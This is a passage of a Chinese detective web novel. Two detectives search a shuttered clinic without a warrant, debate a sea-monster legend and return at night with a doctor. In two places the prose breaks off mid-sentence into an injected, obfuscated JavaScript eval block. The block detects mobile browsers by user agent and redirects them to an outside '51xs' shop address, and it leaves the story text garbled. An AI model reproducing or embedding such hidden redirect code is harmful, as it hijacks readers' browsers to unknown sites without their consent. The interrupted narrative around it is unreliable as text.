斌北说完,上前一步,轻轻一跃翻过了窗户,没有一丝声响的落地之后,弓着腰观察四周一圈之后,回头对予杏比划了一个手势,示意予杏可以翻窗了。 和斌北搭档这么久了,予杏头一次看他这么顺眼。予杏于是小心翼翼但略有一些艰难地翻过窗台。 翻进来之后予杏发现这是一间小厕所,厕所的地上落下一层薄薄的浮灰,最近应该没有人使用过,卫生打扫的不是算是特别的干净,洗手台上还残留了不知名的红色污垢,但没什么异味。 厕所的门是打开着的,透气窗,门以及前门的窗帘在同一直线上,所以风能吹动前面的窗帘。 现在的时间已经接近中午了,因为窗帘的遮挡,加上今天天气不太好的缘故,诊所里此时还是非常的昏暗。 诊所不大布置的也很简单,基本可以分为两个三个部分,南边放着数张椅子,还有方便挂吊水瓶的钩子,每张椅子边还带着一次性的卫生用品操作台。和其他的地方一样挂水都是患者自己将针头扎进去的,护士会在一边帮忙递胶带,以及如果扎的不对,帮忙拔针。 北面被分成了两个部分,一个是医生的问诊室,另一个是储藏药物和医疗用品的准备室。 看上去一目了然,不像是有人躲藏在里面的样子,斌北狠松了一口气。 予杏环顾了诊所四周一圈之后,看着这个比自己预计还要小上不少的诊所,予杏愣了一下。 今天的天气太差了,诊所的蓝色纱窗帘比他想象的还要薄,走进一点他们的影子就会被投射到帘子上。 之前倒是无人在意,但这几天因为斌北的走访调查,加上诊所多日没有开门,这附近有一些无所事事的老头老太会绕道诊所门口来看看。 这样的话,很快就会被发现的吧。 予杏这么想着,然后果断拿出手机开始拍照。 从门口的医生介绍开始,一路拍到准备室,翻箱倒柜的看见什么都要拍一张照片,每一瓶药都要细致的拍清楚标签名称。就在他翻开了诊所的档案资料开始准备开始拍照的时候,一直在旁边不知所措的斌北看不下去了,赶紧拦住他。 “喂,这是犯法的。” 会诊室里正中间放着一张桌椅,后面是一拍四个一米多宽的双排档案柜,里面满满的堆着各种文件,予杏一边手忙脚乱的翻文件,一边抽空敷衍地应付斌北两句。 “没事我先拍,你不说我不说,等调查令一下来就不违法了。” “......”斌北一生正值善良,从来没有偷奸耍滑,他第一次知道,原来还能这么解决问题的。 就在他思考予杏说的到底有没有道理的时候,就见予杏已经翻开了档案,一页一页的飞快拍照。 来不及阻止他的斌北只能在一边干着急。 “话虽如此,但是我们还不知道调查令什么时候会下来啊?” “这发票是里中玄超市的吗?” 予杏从门边的收银台桌面上,拿起一沓子厚厚的发票。 “是啊,这附近最大的超市就是里中玄了。” “嗯,扼佼这个人似乎有强迫症,他把每一次的购物发票都留存下来了。” “所以呢?这说明什么?” “......”予杏不说话,转头就去了其他地方拍照,他现在时间很紧张,没时间和脑子里都是肌肉的人一一解释。 就在这时诊所门口突然传来一阵急促的敲门声。 那声音想起的太过突然了,再加上做贼心虚,斌北被吓了一大跳,浑身一激灵。 门外传来中气十足的声音:“里面的人给我出来,你跑不掉的,动作麻利一点。” 予杏镇定的从座位上站了起来,将手边的文件一股脑塞回柜子里。 斌北不知所措的在原地绕圈, “予杏这是怎么回事?” “这里的帘子太薄了,距离也拉不开,我们的影子应该是映在窗帘上了,虽然人不多但还是会有人路过这里的,特别是周围的居民。这附近的居民都知道这两天诊所歇业了,现在里面又有奇怪的人影晃来晃去的,所以...” “所以什么?” “......” 予杏深吸一口气,摊了摊手不紧不慢地道,“所以他们报警了,因为觉得我们是小偷。” “啊?” “门口挂的是链锁,我们在里面也打不开的,警察应该也知道,我们原路返回吧,我想已经有警察守在那个巷子口等着我们了。” 斌北沉默着不知道说什么好,一想到一会儿就要被当成小偷带回附近的警署他就一阵头皮发麻。 这事要是被局长知道了,他们肯定会被臭骂一通的,说不定还会追究他们强行办案的责任。 斌北越走越慢,缓缓跟在予杏的后面。 果然不出予杏所料的,他们刚翻窗户离开诊所,才朝着死胡同的入口走了两步就被一名警察堵在了路口。 被那名带着眼镜身高约两米的大汉,堵住之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375920|141006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,予杏立刻举起手,语气依旧平淡镇定,“误会,我们在附近办案的时候路过这里,我的搭档突然肚子疼,正好看见那个窗户里面就是厕所,不得已才翻进去的,我们什么都没有拿,都是误会。” 斌北一愣了一会儿,难以置信的看向予杏,一时间不知道自己该不该反驳他。 堵住他们的警察推了推眼镜,仔细的盯着予杏看了一会儿,突然惊讶的道,“哎呀,这不是市警察局新来的小予杏吗?” 斌北比那名警察还要惊讶,扭头对予杏道:“他居然认识你?” 予杏:“......” 予杏不想说话,他一点也高兴不起来,因为他知道自己出名的原因,一定不是什么好理由。 “你是谁?”堵住他们的警察用锐利的目光盯住斌北,斌北反应了一会儿,悲痛的苦着脸道: “我是在中心市南区警察总署工作两年零三个月的斌北。” “哦。” 从那名警察敷衍地反应来看,斌北推测他根本就不认识自己。 明明都是警察系统的,自己都工作好几年了,分署的同事居然完全不认识自己却认识才来没多久的予杏。 斌北心里产生了一种莫名的悲愤。 予杏:“都是误会,我们可以离开了吗。” “可以可以。” 回到车上后, 予杏第一件事就是把后座上正在呼呼大睡的人摇醒。 青梧迷茫的睁开眼睛,慢吞吞迷迷糊糊地从座车子的后座上坐起身来,在懵懂了几秒之后迷茫又无辜的问道:“这是在哪里?” 予杏坐在副驾驶上,指挥斌北开车回警局:“我车的后座,你忘了?” 青梧睡眼惺忪地打了个哈欠,记忆慢慢苏醒了,他记得自己本来打算在停尸房的地上小睡一会就去看诊的。但是予杏说睡在停尸间的地上太过非人类了,一定会感冒的,不如去他车子的后座上躺一会儿,差不多到时间了他会喊自己起来。 “我想起来了,现在几点了?” “下午一点三十六分。” 一点三十六分,青梧还没缓过来的大脑宕机了一秒,然后瞪圆了眼睛,不可思议的望着予杏,“你不是说会喊我起床的吗?” “我喊了,但是你没起。” “......”青梧一脸大受打击的样子,用难以置信的眼神盯着予杏一言不发。 可能是予杏自己也觉得有些尴尬,他从车储物柜里拿出一大袋面包。 “我不知道你喜欢吃什么,所以都买了一点,本来是给你当做早餐的,现在看来也顺便当做午餐了。 工作的事情不用担心,我和医院打过招呼了,我也没想到你会熬夜解剖,你一晚上没休息身体肯定吃不消,我联系了你们医院退休的老院长,今天早上你的病人他都会负责看完的。” 青梧先是松了口气,一下瘫回了车后座里。 瘫在后座上,枕着柔软的坐垫,心里不由泛起嘀咕。 予杏好像是一个很神秘的人,不仅仅是富有那么简单,退休的老院长是个脾气古怪的人,能请他出门只凭金钱可办不到。但若是说予杏是哪个大宗教高层的家属也不像,他怎么看都是个实打实的无信仰者。 那么他究竟是什么来头? 难道说...家族吗? “喂,别躺着了,起来,已经过了吃饭的时间,你先吃点面包,别犯低血糖了。” 予杏说着一股脑将面包连带自己的手机一并递给了青梧。 “这是什么?” “我的手机,手机没有密码,你打开相册,麻烦看一下里面拍到的那些药物里有没有你说的那个XXL128。” 听他说这个,刚刚还一脸呆然的斌北吓了一跳,他回身盯着青梧, “青梧,在调查令下来之前,我们拍过这些照片的事情,绝对不能让第四个人知道!” 予杏看了他一眼,他不知道该不该提醒他,现在搜查令已经不重要了,他们闯进人家诊所的事情一定会被上级知道的。 傍晚,瑞达达失魂落魄的走在街头。 昨天他整整在家昏睡了一天,那瓶该死的白酒除了反作用以外什么用处都没有。 他下午就出发准备前往昨天发现的那个地址了,只是花园路明珠小区距离他家太过遥远公交车要转好几站,所以直至傍晚他才到达这个地方。 花园路明珠小区507号是一间建在小区里的教堂,万神教这种信仰的人很多的宗教,偶尔也会在教徒聚集较多的小区里开设教堂。 瑞达达还不知道自己看错了白板上的数字,那不是507而应该是502才对。不过幸好他看错了数字,因为花园路明珠小区502号,是斌北警官的住所。 几天前, 予杏在办公室的白板上列了一连串的地址。 “你些这些做什么?” “我准备换个住所,所以把可能会去的地点都列下来,找一个离这些地方都比较近的位置。” “哦,花园路明珠小区502号,为什么第一排就是烂尾楼和我家?” “烂尾楼可能收尾工作的时候还得去一两趟,你家,介于我们以后会长期搭档,你可能会邀请我去你家,我可能会拒绝,但是也可能懒得拒绝去一两次。” “......我一定不邀请你,一定。” “......”予杏耸耸肩什么都没说。 此时,什么都不知道,但是找错了地址的瑞达达在教堂里打听了一圈,然后发现这里的每一个人都知道烂尾楼的那起案子。 但是不幸的是,他们是通过报纸看到的。 “尊敬的主教,除了报纸上的内容以外,您真的没有其他信息可以透露给我了吗?” “当然有,我知道他们是什么,那些不洁之物,诗歌中就有记载,‘她们诱惑任何到访者,谁若是不知情去接近她们,倾听她们的歌声,就休想返回家园,她们用清亮的歌声迷惑世人,周围白骨成堆,还有干瘪的人皮。’” “......” 瑞达达垂头丧气的离开了教区,他百思不得其解。 不应该啊,难道是因为那瓶白酒导致自己的记忆发生了混乱所以找错了地方吗? “欸?你拿着照相机,难道说你记者?” “你是谁?” 瑞达达警惕的看着眼前这个人,来人穿着一身松垮的白色T恤,杂乱的鸡窝头,手上带有帮派标记的戒指。 一看就是一个标准的□□人士。 瑞达达不知道自己怎么招惹到他们了,但也不怕他们,从容的点头。 “对,我是记者,怎么了?” “哎呦,你还真是记者啊,我运气真好啊。” “废话少说,你找我干嘛?” “害,我找你能做什么啊,你认识那家最近发布了烂尾楼怪物案的出版社吗?我有个大料,想和他们联系一下。” 瑞达达愣了一下, 那不就是自己的出版社吗? 他说的大料难道是关于烂尾楼案子的? “我就是那个出版社的记者,你有什么大料跟我说啊。” “真的假的?” 瑞达达没回答只是将记者证拿出来递到男人手里。 “哎呦,还真是。”男人兴奋得举起手机,“我可以拍张照片吗?” “你要干什么?” “我们的网站上有悬赏,找到刊登烂尾楼那案子的报社记者,拍照传给悬赏人,他们核实之后给你一个大料,还给我这个跑腿的一笔跑腿费,就这么简单。我可以拍照了吗?” □□有很多的悬赏网站,一般来说人们可以在上面发布各种悬赏,比如... 找找猫,找找狗,找个靠谱点的带孩子之类的。 找记者算是其中相当罕见的了。 瑞达达狐疑地盯着那个混混看了半天,“那个悬赏人为什么要这么做?你就不怕他是个骗子?” 混混抓住机会,在将记者证抽回去之前,“咔嚓”一下就拍下了照片,嘻嘻笑笑的道: “怕呀,所以等他把消息传过来,我告诉你之前,你也的付我一笔咨询费,嘿嘿。” 瑞达达:“......” 6. 第 6 章 七月二十五日 案发后第六天 果然又不出予杏所料的,早上刚抵达警局没多久,就收到通知,局长要找到他和斌北单独谈话。 局长室里,老局长看了看低着头,双手放在膝盖上面无表情的予杏,再看看一脸迷茫瞪着个虎眼死盯着自己看的斌北。莫名心生火气,对着斌北大喝一声, “看什么看,我脸上有字啊。” 斌北默默低下了头不敢再去看局长,倒是予杏毫不畏惧地把头抬了起来, “局长这个案子很急,调查令一直没有下来,我们也没有办法。” 局长看了他一眼,少年不卑不亢地神情地看向自己。 他的脸上多有傲气,浅色的眸子里却像是有深不见底的水渊。他镇定了,镇定的好像没做错任何的事情,此时应该被责备的是身为局长的自己一般。 “你们那个案子我知道,是有点特别,死者家属好像是挺需要赔偿金的。” “但是你们也不能强行办案呀,这不符合程序,其实我比你们任何人都急,媒体那边甚至煽动群众,说我们政府在搞生化实验,没完没了的要求我们把莫须有的实验品怪物交出去。” 予杏:“那我们就更应该尽快了结案件不是吗?” “我当然支持你们尽快了结案件,但是你们有没有想过,如果你们被媒体拍到了会怎么样?警局的声望本就不是很高,你们的每一次违规执法,都会加大我们未来的执法难度。” “我完全理解你们的难处,也希望你们能理解我的难处,我会尽快向上级申请搜索灵,你们这两天消停一点,最好不要离开警局,这件事幸好是被片区的警察发现的,要是被媒体拍到我都不知道该怎么解释。” 斌北没想到局长今天居然这么通情达理,没有严惩他们不说,还帮着找了诸多借口,听的他是非常感动,连连点头,“好,我们知道了,局长你辛苦了。” 予杏一言不发,默默盯着局长。 局长的安排与其说是处罚,倒不如说是警告。 离开了局长办公室后,予杏回到自己的办公桌,他这两天本来就不准备出门的,他准备花点时间分析一下手里这些新鲜的资料,看看那个扼佼到底私下做了什么,有什么把柄在杨程的手里,以及他现在可能藏身在哪里。 予杏泡了杯咖啡,将拍到的照片传近电脑里,放大了一点一点的寻找线索。 扼佼开设这家诊所的时间大概是在三年前,他从其他市的三甲医院辞职之后开设这家诊所,介绍上说他曾今就读于木卫第三医药大学,擅长中医制药学。 根据他以往的就诊记录,可能是因为他个人不擅长销售中医药的购销记录并不多,接诊的基本都是一些轻微的感冒发烧的病症。 扼佼在诊室里面悬挂了一面巨大的黄金旗,他可能信仰黄金教,这个世界的宗教太多了,予杏只知道这是黄金教,查询了资料之后得知黄金的教义是:多多积攒,有备无患。 小等曾经在患上败血症之前在扼佼的诊所看诊过两次,一次是两年前因为流感,另一次是在半年前因为受凉引起的发烧。 扼佼在本市里没有租房和购房记录,根据昨天询问过的那户人家老太太的证词,扼佼的住址不明,他似乎没有亲人朋友,但有可能有仇家。 扼佼对周围的邻居以及自己的患者并不友善,他的营业额一直不高,但是药品采购频繁。账本上还有几笔不清不楚的业务。 正常推测他可能是将部分药物转销进了黑市之中。但予杏总觉得有哪里不太对劲,他细细核对了药物成分表,盐酸多米君,去甲肾上腺素,利他林,□□,双氢□□,他总觉得有些眼熟。 予杏不知不觉就在电脑桌前坐了一整天,从繁杂的电子资料之中抬起头来的时候,太阳已经落山了。 昏黄的阳光洒在他的后背上,予杏一转头适应不了光线的眼睛不由自主的眯起。 可能是盯着屏幕看了太久了,予杏的头有点疼,撑在桌子上揉了揉太阳穴。 诈骗课的前辈一边和电话诈骗犯讲电话一边给他递来一条热毛巾。 “谢谢。” “没事。” 感觉好一点了之后,予杏在办公室里环顾一周,没有看见自己的搭档斌北。 “斌北去哪里了?” 诈骗课的前辈对着电话那头一通恐吓完,清了清嗓子, “斌北已经回家了。” “现在还没到下班时间吧?” 予杏说着看了眼局里的时钟,现在是下午五点半,已经超过下班时间半个小时了,这几天他们走的都比较迟,不知道从什么时候起,对时间都不太敏感了。 “他下午三点就回家了,他说这个时间走的话,路上应该不太堵,哦,他明天还请了假,因为局长叫他低调点。” 予杏:“......” 晚上七点二十 予杏在斌北家附近的一家酒吧里找到了他,斌北一个人坐在吧台上沉默不语的喝着一杯啤酒。 酒吧的灯光很是柔和,吧台上低矮的台灯照耀下橙黄色的光晕,一股淡淡的酒香萦绕在台座之间,轻柔的音乐声,缓缓在房间里流淌。 予杏在斌北的旁边找了一张空椅子坐下,轻咳了一声,“听说你明天请假?” 完全没注意到他的斌北愣了一下,随即大声道:“我靠,你啊,吓我一跳。” 服务员很快的走到予杏对面,放下一本菜单, “请问您需要些什么?” “给他来一杯甜牛奶,再来一份爆米花,记在我的账上。” 予杏还没开口,斌北就快语帮他敲定了餐点。 予杏呆住了,他迟疑了几秒后,瞪圆了眼睛难以置信的看了斌北一眼,深深地吸了一口气之后对服务员说,“再加一杯甜牛奶,谢谢。” 他倒不是喜欢甜牛奶,但众所周知酒吧最便宜的就是酒,贵的东西就是除酒以外的任何东西。这家酒吧的甜牛奶卖40一杯,没有教派补贴就是320,320大概是市场价的七八倍了。 想到这,予杏因为报复了斌北的钱包,嘴角扬起一个像素点。 斌北也不知道他在盘算着些什么,但他也很高兴的样子。 “嘿,我猜的没错吧,一看你就是喜欢那种甜不拉几的饮料的人。” “......”看他这么高兴,予杏又高兴不起来了,他翻了个白眼问道: “你为什么请假?” “也不算请假吧,之前周末我们都没休息,这算是正常的调休才对吧,还有我今天问过医院的情况了,听说杨程有一个从外地来的亲戚,借给了他们一笔钱,现在已经能把医院那边应付过去了” 予杏想起了那对冲着赔偿金去的老夫妻,看起来他们真的信了自己话,借给了安一笔钱。 “还有,我已经请洛阳花小姐帮忙,先开始走意外伤亡险的程序了,等我们这边一结案,无论找不找的到人交赔偿金,保险的钱勉强应该也够小等的后续治疗了。” 予杏不着痕迹地撇了斌北一眼,“你的意思是,现在不着急办案,是吗?” “额...反正也没关系吧...” “尽快破案是我们的职责所在。” “就算你这么说可是对手是‘人面鲛’啊,就算我们找到了,我们要怎么抓捕他。” 斌北有些退缩了,虽然昨天跟着予杏闯进那间诊所的时候他非常亢奋,一点都不觉得害怕,但等他回到家,躺在床上准备睡觉的时候,无数恐怖的回忆席卷而来。 他开始后怕,并且后悔自己闯进过那间诊所了,他不敢想象,如果他们进去的时候,那个怪物就一动不动的站在厅里盯着他们,事情会变成什么样。 想到这里斌北不知觉的咽了口口水,喝下了一大口冰凉的啤酒。 予杏的声音似乎比冰块还要冷上几分, “斌北,这个世界上不存在‘人面鲛’那只是人类为了某种目的制造出来的幻想存在。” 斌北发出一声苦笑,“你说的轻巧?” “我跟你说过吧,战胜恐惧唯一的办法就是面对它。” “是啊,我试过了,我去调查了扼佼和‘人面鲛’到底有什么关系,然后我发现他们两者真的有关系。” “什么关系?” 斌北咽了咽口水,“扼佼他毕业于木卫第三医药大学,你听说过那个学校的‘厄运木’计划吗?” 予杏点头,“你是说那个利用强脉冲电流,让尸体的心脏恢复窦性心率的实验?” “对,就是那个实验。” “那个实验失败了。” “对媒体上说他们失败了,其实,实事不是这样的,虽然实验失败了,但是实验产生了副产品,一个怪物,那个叫做‘格蕾丝女士’的怪物诞生了。” “你是说‘格蕾丝女士’?” 予杏想起了那天在中心医院的走廊上翻阅的怪奇杂志。 ‘格蕾丝女士’也是‘格蕾丝女尸’。 在木卫第三医药大学的最后一场‘厄运木’实验时,受当天日蚀的影响实验室的电力设备出现了一点问题,电压过大了,他们电击尸体之后,就在他们的身边站着一名透明的泛着幽兰色光芒女性,实验员说那名女性只存在了三秒就消失了,她的脸和实验中的女性尸体一模一样。 予杏歪了歪脑袋,有些不解,“...都市传说?” “你还不明白吗?” “明白什么?” “传说格蕾丝女士从出生起就没有父母,一个渔夫在海岸边发现了她并抚养长大,所以有人说格蕾丝是一只半人面鲛,她有一半人类的灵魂,一半海族的灵魂。她长的很丑在当地被人排挤。她二十五岁时死于一场交通意外,因为撞击之后,她的脸部在地面上经历了长时间的摩擦,所以除了稀碎挂在脸上的红肉之外还能看见森森的白骨,当然撞击她的那个司机也是同样的下场。” “木卫大学征用她的尸体进行实验时,因为她的脸太过可怖他们全程都是用一张白布遮盖了她的面容,传说格蕾丝作为人类的灵魂已经死亡,但是她作为人鱼的灵魂却被电流唤醒,至今仍在人世间游走。” “扼佼就是那场实验的实验人员之一,他利用了“人面鲛”不,他利用了‘格蕾丝女士’杀死了很多人,这个秘密不小心被杨程发现了,杨程为了给女儿筹医药费就准备勒索他,他于是找上了杨程用‘格蕾丝女士’杀死了杨程,他害怕杨程留下了指证他操控‘格蕾丝女士’杀人的证据,所以销声匿迹去其他地方躲躲风头。” “很完整的推理。”予杏默默的听完,然后认真的点头,“除了很多点说不通以外都说的通。” 斌北愣住了,就连他脸上原本被自己吓出来的惊惧表情都凝固住了。 予杏太淡定了,淡定的好像是听了一个不怎么好笑的笑话。 斌北有些懊恼,懊恼到都不太顾得上害怕了,他非常不悦的道: “你究竟什么意思啊。” “就是还有很多疑点的意思,你想法有一点参考价值但是不多。” “...你有的时候真的很气人。” “会吗?”予杏发自内心的感到疑惑,然后看了一眼手里的甜牛奶,“我倒是感觉你更气人一点。” “那你说,我的推理到底有哪里不对?” “......”予杏面无表情,不说话。 “我靠,你...”斌北也无话可说,他快要习惯予杏这死性子了,自己生气也没用,搞不好还会招来前辈们的一通修理。斌北是真的没脾气了,他甚至有点想哭。 斌北端起酒杯大喝了一口。 予杏叹了口气,循循善诱地开口道: “斌北世界上根本没有怪物,就像我之前说的所谓的人面鲛,也不过是人类出于各种原因,各种目的,杜撰出来的形象而已。” “可是我亲眼见过。” “你看见了什么,蓝色的鲜血?奇怪的声音?” “......” “我调查过你的信息,你老家的潮汐市每年会举办四次大型的庆典,新年庆典,丰收庆典,潮汐庆典和最盛大的月亮庆典。按你的描述那天的月亮又大又圆理所当然会联想到庆祝月神诞辰的月亮庆典,但实事上你参加的应该是潮汐庆典。” “你怎么知道?”斌北非常惊讶的看向予杏,一直到十六岁以前他都以为自己是在月亮庆典上遇到人鱼的,直到后来他问过父母才知道原来是潮汐庆典。 “当然会知道,因为‘沙沙沙’的声音。” “啊?” “虽然月亮庆典和潮汐庆典都在海边的神社进行,但和月亮庆典不同,潮汐庆典是庆祝开年后第一股暖流进入港湾,捕鱼活动即将开展而举办的庆祝活动,节日当天渔民们会在海边载歌载舞,预祝今年大丰收,但有些渔民也会趁着那天进行海钓,据说当地传说如果潮汐节当天捕鱼获得大丰收的话,那么一年都会大丰收。” “所以呢,那又怎么样?” 斌北非常困惑,出身在潮汐市的他当然知道这些,但是这和他遇见“人脸鲛”又有什么关系? 予杏没有理会他的打断,自顾自地继续往下说, “你的父母都不是渔民,你自己从那之后也再没靠近过海滩所以你可能不知道,有的钓客会使用一种叫做rattling bait的鱼饵,这种鱼饵尤其适用于海钓和湖钓,它的特点是能够发出一种‘沙沙’声或者‘咔嚓’声,以此来吸引鱼类的注意,你当时听见的应该就是这种声音。” “至于蓝色的鲜血,海中又不少生物都有蓝色的鲜血章鱼之类的,在海滨城市弄来一些章鱼再容易不过了,当地有些宗教认为蓝色的血是圣人的血,信奉这些宗教的渔民会将蓝色涂抹在自己的渔具上以祈求好运。” 斌北呆呆看着已经空了的酒杯,张口结舌,“你是说我,我...难道都是我搞错了?” 父亲说的没错,儿时的恐怖遭遇都是他一场误会? 予杏闭了闭眼睛,微不可查地摇了摇头, “不,我倒是更倾向于你遭遇到了货真价实的绑架案件。” “啊?”斌北更迷茫了。 “潮汐市这几年的绑架案很多,但现在我没有掌握到更多细节,所以可能只是我一厢情愿的猜想而已。”予杏没有继续这个话题,他话锋一转道,“好了,我已经说明白了,世界上根本没有怪物。” 斌北感觉像是送了一口气,但又好像没有,他的心里很乱,有一种乱七八糟,五味杂陈,不知所措的感觉。 他也说不清具体是什么感觉,只是有些难受,他招手有点了一杯冰啤酒。 点完他就后悔了,或许他该换一杯更辣,更浓烈的酒的。 “现在你相信世界上不存‘人脸鲛’了吗?” “我不知道,但是予杏你赢了,或许吧,或许你说的没错吧。”斌北端起啤酒喝了一小口,情绪还是有些低落。 “明天我们再去一趟那个诊所。” “什么?” 斌北一口酒差点没喷出来,但是手里摇晃的酒杯却洒出了些许酒液,落在了予杏的爆米花里。 予杏什么都没说,默默将手边的爆米花推开了一点。 “.......” “你疯狂吗?” “没有啊,我们得再去一次,现在你已经不怕那个诊所里,有所谓的怪物了,可以跟着一起去。” “不是,局长刚找我们谈过话。” “那又怎么样?局长不支持我们就不调查了吗?” “不是不查,我们可以等搜查令下来。” “等不了那么久,搜查令下了,还要审核通缉令,有这个时间,跑到大洋彼岸的城市里去都足够了。” 斌北不吱声,主管说他觉得予杏说的没错,刑事案件因为少,所以程序一直不完善,眼下这种关键嫌疑人不知身在何处的情况更是鲜有发生。 如果扼佼真的有牵扯案子,又真的跑掉了,那么事情就糟糕了。 斌北看见,玻璃酒杯上倒映出自己别在胸口的□□,那金属的材质在略显昏暗的室内反射着熠熠的光彩。 斌北深吸一口气,“行,我和你一起去,但是你要回答我一个困惑了我很久的问题。” “你说。” “为什前辈们对你都这么好?” “......”予杏冷笑一声,“呵呵。” “唉,你有这样,你莫名其妙地笑什么啊,你倒是说啊。” 予杏捏紧了手里的玻璃杯,沉默了好一会儿,避开斌北的好奇的目光,快声的说, “你有没有看过一部叫做‘天堂寄来天堂鸟’的电视剧?” 斌北自己都没想到予杏居然会回答自己,他还以为予杏会这样一直沉默下去,毕竟他经常这么干。 斌北反应了会儿才道:“好像听说过,前辈们好像很沉迷的样子。” “你这么一说,感觉你和剧里那个主角的女儿长的有点像啊,我还记得有一次聚餐,前辈们痛哭流涕说一定想养一个这样的闺女。” 予杏表情僵住了,一时间杯子里的甜牛奶也变得苦涩起来。 予杏:“......” 斌北这次反应的倒是很快,他仔细打量着予杏那张精致漂亮的脸,脑子里灵光一闪。 “我懂了,这是拿你当女儿养呢,哈哈哈哈哈。” 予杏:“......” 予杏的脸黑了下来。 实际上那个角色的扮演者是予杏的一位表妹,他们从小就有几分肖象。那时候他十来岁,有一次表妹发烧不能参演,家里人骗着把他忽悠去了剧组,给他换上了小裙子让他演在池塘边喂天鹅的一幕,很快反应过来的小予杏黑着脸用手里的胡萝卜砸晕了池子里的天鹅。 谁知道大人们非但没有感受到他的愤怒,反而是笑做一团,后来这一幕一刀没剪被安插在了后面的剧情里,还大获好评。 想到这里予杏的脸更黑,难得非常不优雅地重重将玻璃杯放在桌子,发出‘啪嗒’一声响,然后皮笑肉不笑的盯着还在放声大笑的斌北。 吧台另一边,酒保擦杯子的动作一顿,警惕的看着他们,心想不应该啊,这么多年了,没见谁喝牛奶也能喝高了的。 “我说。” “哈哈哈哈,你说你说。” “你差不多笑够了吧。” “...嗯。” 斌北笑不出来了,予杏的眼神真的很恐怖,带着莫名的压迫感,让人有种马上就会被他算计到生不如死的预感。 “明天你会老老实实听我安排的,对吧。” “...嗯。” 七月二十六日 案发后第七天 予杏收到青梧带来了两个重要的消息, 第一,医药协会的申请人名单里没有扼佼医生的名字。 第二,诊所储物间的药瓶里没有XXL128升压药,起码从药瓶的标签来看是没有的。 “啊?XXL128升压药是什么东西?” 斌北一头雾水,他疑惑的看向青梧,因为觉得予杏不会好好跟自己说明的。 “是一种还在实验中,过度服用可能会导致人休克,但是少量服用有一定致幻效果的新型药物,我们在先生的体内发现了这种药物,所以予杏怀疑,是扼佼把这种药物交给杨程,让杨程吃下去的。” “哦,这样啊。”斌北恍然大悟,追问道,“所以呢,怎么样有在扼佼的诊所里找到这种药吗?” “没有啊,不仅没有在诊所的药物里找到那种药,就连医药协会的申请人名单里都没有出现扼佼的名字。”青梧耐心的向解释道。 予杏无语地看着斌北,“他刚刚不是已经说过一次了吗?” 斌北梗着脖子,“他那是跟你说的,我没听清。” 斌北:“你看,现在青梧说了诊所里没那种药,扼佼也没向医药协会申请过,你的调查方向是不是搞错了,我们今天还有必要再去那个诊所吗?” “当然有必要,这个结果和我推测的一模一样。”予杏面无表情的说着。 斌北低下头小声地嘀嘀咕咕,“怎么就一样了,你就嘴硬吧。” 予杏:“......” 予杏和斌北在第一人民医院里呆了整整一天。 斌北请了假,从早上起就没有去警局,予杏开了自己的车从他家门口将他接上,就直接来了医院。 两人一直等到夜幕降临,夜色如墨一般漆黑之后才带着刚刚忙完工作的青梧医生一起,从医院出发去往诊所。 这个时间路上已经不是很拥堵了,车子开了半个多小时就抵达了扼佼大夫的诊所附近,他们将车停在距离诊所一公里远的一家餐厅门口,从车上下来步行前往诊所。 予杏背了一个黑色帆布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375921|141006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包和青梧并排走在队伍前面,斌北拖拖拉拉的坠在队伍最后。 “你们有带搜索令吗?” “没有。”予杏一摊手。 “还没有下发吗?” “是啊。”予杏若有似无地叹了口气,“而且事实上这段时间都不太可能拿到搜索令的。” “为什么?” “因为有权批准搜索令的市长这两天去外地出差了,还是大洋彼岸的希望市,就算是把搜索令用航空邮寄过去,让他签字再邮寄回来也得等上半个月。” “这样不会耽误你们调查吗,难道就没有其他办法吗?比如电子认证之类的,我们医药协会很早以前就完善了这方面的系统。” 说道这个,予杏也是颇为无奈。 “不行啊,实事上我们的犯罪搜查体系一直都不太完善。” “没事谁想要要完善这个啊,哪有那么多人没事犯罪,一年到头这种需要搜索令的案子也没有几起。”斌北在两人身后说道。 予杏:“能用上的次数较少,不是政府领导层不完善制度的借口,或许他们可以抽掉一些祈祷的时间,用来做点有用的事情。” 说着话,没几分钟之后,几人走到了小诊所门口,这里晚上没什么人经过,除了上次走访的那家以外,也没什么人能观察到这里。只要小心一点不使用太亮的灯光的话,应该不会像上次一样被当成小偷包围起来。 吸取了上次的教训,这次予杏在来之前就做好了一切准备,他带着青梧和斌北一路躲着路口的摄像探头走,尽量隐藏在阴影中潜行,他昨天离开警局之前和盗窃课的同事聊了很久,现在已经充分掌握了反侦察的技巧。 一路顺利。 等他们一路走到上次的那扇窗户口时,予杏仔细确认了窗户的锁扣。和他想的一样并没有从内上锁。 就像是盗窃课的同事说的,这种主人不在家他们进去就出不来的屋子。他们一般会在窗户边缘黏上可溶解的强力胶,这样小偷拉不动的话就会以为已经上锁了,从而放弃作案。 予杏从口袋里拿出了溶剂液,这是他从盗窃课同事的桌子上顺走的,也不知道那位同事得知自己抓了一辈子小偷,结果光天化日之下被自己的同事偷了会是一种什么样的心情。 斌北此时愁眉苦脸的左顾右盼,他呼吸急促,表情非常不安,青梧却意外的镇定,在予杏忙着溶解窗边的同时,青梧一个人默默衡量窗台的高度。 “我说,我们一定要进去吗?”斌北心里很慌,不由地又开始打退堂鼓。 可此时另外两人完全没有理会他的意思。 “这个胶应该还有溶解一下,一会儿小心一点别黏在衣服上了。” 